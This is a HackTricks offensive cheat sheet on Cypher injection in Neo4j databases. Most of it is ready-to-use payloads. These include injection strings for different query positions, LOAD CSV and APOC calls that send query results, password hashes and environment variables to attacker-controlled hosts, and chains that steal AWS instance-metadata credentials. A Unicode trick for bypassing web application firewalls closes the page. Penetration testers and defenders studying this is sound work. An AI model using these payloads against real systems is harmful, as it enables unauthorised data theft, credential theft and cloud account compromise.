16 KiB
Cypher Injection (neo4j)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
Common Cypher Injections
The MATCH and WHERE statements are common scenarios.
When we have found an injection, the way to exploit it depends on the location within the query. Below is a table of different injection locations and exploitation examples:
Injectable query | Injection |
---|---|
MATCH (o) WHERE o.Id='{input}' |
' OR 1=1 WITH 0 as _l00 {…} RETURN 1 // |
|
'=' {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:{input} |
a {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:`{input}` |
a` {...} WITH 0 as _l00 RETURN 1 // |
MATCH (o {id:'{input}'}) |
'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 // |
MATCH (o:{input}) |
a) RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o:`{input}`) |
a`) RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r {id:'{input}'})]-(o2) |
'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o)-[r:{input}]-(o2) |
a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r:`{input}`]-(o2) |
a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
Note the UNION statement:
- The reason UNION is required is that if the MATCH statement doesn't return anything, the rest of the query won't run. So, all the nefarious things we might do there will simply not execute.
- We add “RETURN 1” before the UNION so both parts return the same columns, which is required for the query to execute.
So, what's with the “WITH” statement?
Using WITH, we can drop all existing variables. This is important when we don't know what the query is (more on that later). If our payload accidentally tries to set a variable that already exists, the query will fail to run.
Naturally, if we know the query and the database, none of these techniques are required. We can even manipulate the returned data to in turn manipulate the process instead of just abusing the server.
HTTP Exfiltration
It's possible to use the following method to exfiltrate information to the attacker controlled domain:
LOAD CSV FROM 'https://attacker.com/'
For example
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o
// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
APOC
The first thing an attacker should check is whether APOC is installed. APOC (awesome procedures on Cypher) is an extremely popular, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many additional functions and procedures that developers can use in their environment. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks.
Procedures to process data & send HTTP requests
apoc.convert.toJson
— converts nodes, maps, and more to JSONapoc.text.base64Encode
— gets a string and encodes it as base64
It's possible to set headers and send other methods than GET. Examples:
{% code overflow="wrap" %}
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
{% endcode %}
Procedures to eval queries
apoc.cypher.runFirstColumnMany
— a function that returns the values of the first column as a listapoc.cypher.runFirstColumnSingle
— a function that returns the first value of the first columnapoc.cypher.run
— a procedure that runs a query and returns the results as a mapapoc.cypher.runMany
— a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction.
Extracting Information
Server Version
One way to get the server version is to use the procedure dbms.components()
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
{% endcode %}
Get running query
The easiest one is to use the procedure dmbs.listQueries()
{% code overflow="wrap" %}
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
{% endcode %}
In Neo4j 5 dbms.listQueries
was removed. Instead, we can use “SHOW TRANSACTIONS”. There are two major limitations: SHOW queries are not injectable, and unlike listQueries
, we can only see the currently executed query in the transaction and not all of them.
If APOC core is installed, we can use it to run SHOW TRANSACTIONS. If we run in the same transaction, only SHOW TRANSACTIONS will be returned instead of the query we are trying to see. We can use apoc.cypher.runMany
to execute SHOW TRANSACTIONS, because unlike other apoc.cypher functions and procedures, it runs in a different transaction.
{% code overflow="wrap" %}
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
{% endcode %}
Get labels
Using the built-in method db.labels
, it is possible to list all existing labels.
{% code overflow="wrap" %}
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0
{% endcode %}
Get properties of a key
The built-in function keys
can be used to list the keys of the properties (This won't work if one of the fields is a list or a map.).
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
{% endcode %}
If APOC is available, there's a better way to do it using apoc.convert.toJson
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
Get functions and procedures
Using the built-in procedures dbms.functions()
and dbms.procedures()
it's possible to list all functions and procedures.
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM
{% endcode %}
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
{% endcode %}
These procedures were removed in Neo4j 5. Instead, we can use SHOW PROCEDURES
and SHOW FUNCTIONS
. SHOW queries cannot be injected.
If APOC core is installed, we can use any of the procedures or functions that execute queries to list functions and procedures.
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
Get system database
The system database is a special Neo4j database that is not normally queryable. It contains interesting data stored as nodes:
- Databases
- Roles
- Users (including the hash of the password!)
Using APOC, it's possible to retrieve the nodes, including the hashes. Only admins can do this, but in the free edition of Neo4j, there's only an admin user and no other users, so it's not uncommon to find yourself running as an admin.
Use the procedure apoc.systemdb.graph()
to retrieve the data.
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
{% endcode %}
Neo4j uses SimpleHash by Apache Shiro to generate the hash.
The result is stored as a comma-separated values string:
- Hashing algorithm
- Hash
- Salt
- Iterations
For example:
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
Get environment variables
Using APOC, it is possible to retrieve the environment variable by using the procedure apoc.config.map()
or apoc.config.list()
.
These procedures can only be used if they are included in the list of unrestricted procedures in the conf file (dbms.security.procedures.unrestricted). This is more common than one might think, and Googling the setting name results in many sites and guides that advise adding the value “apoc.*”, which allows all APOC procedures.
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
Note: in Neo4j5 the procedures were moved to APOC extended.
AWS Cloud Metadata Endpoint
IMDSv1
{% code overflow="wrap" %}
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
{% endcode %}
IMDSv2
We need to specify headers and we need to use methods other than GET.
LOAD CSV
can't do either of these things, but we can use apoc.load.csvParams
to get the token and the role, and then apoc.load.jsonParams
to get the credentials themselves. The reason we use csvParams is that the response is not a valid JSON.
{% code overflow="wrap" %}
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
{% endcode %}
Contact AWS API directly
{% code overflow="wrap" %}
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
{% endcode %}
- $data is formatted as %Y%m%dT%H%M%SZ
- $token is the token we got from the metadata server
- $signed_token is calculated according to https://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html
WAF Bypass
Unicode injection
In Neo4j >= v4.2.0, it's often possible to inject Unicode using “\uXXXX”. For example, you can use this method if the server tries to remove characters such as: ‘, “, ` and so on.
This may not work if a letter follows the Unicode escape sequence. It's safe to add a space afterward or another Unicode notation.
For example, if the server removes single quotes, and the query looks like the following:
MATCH (a: {name: '$INPUT'}) RETURN a
It is possible to inject:
{% code overflow="wrap" %}
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
{% endcode %}
References
- https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits
- https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.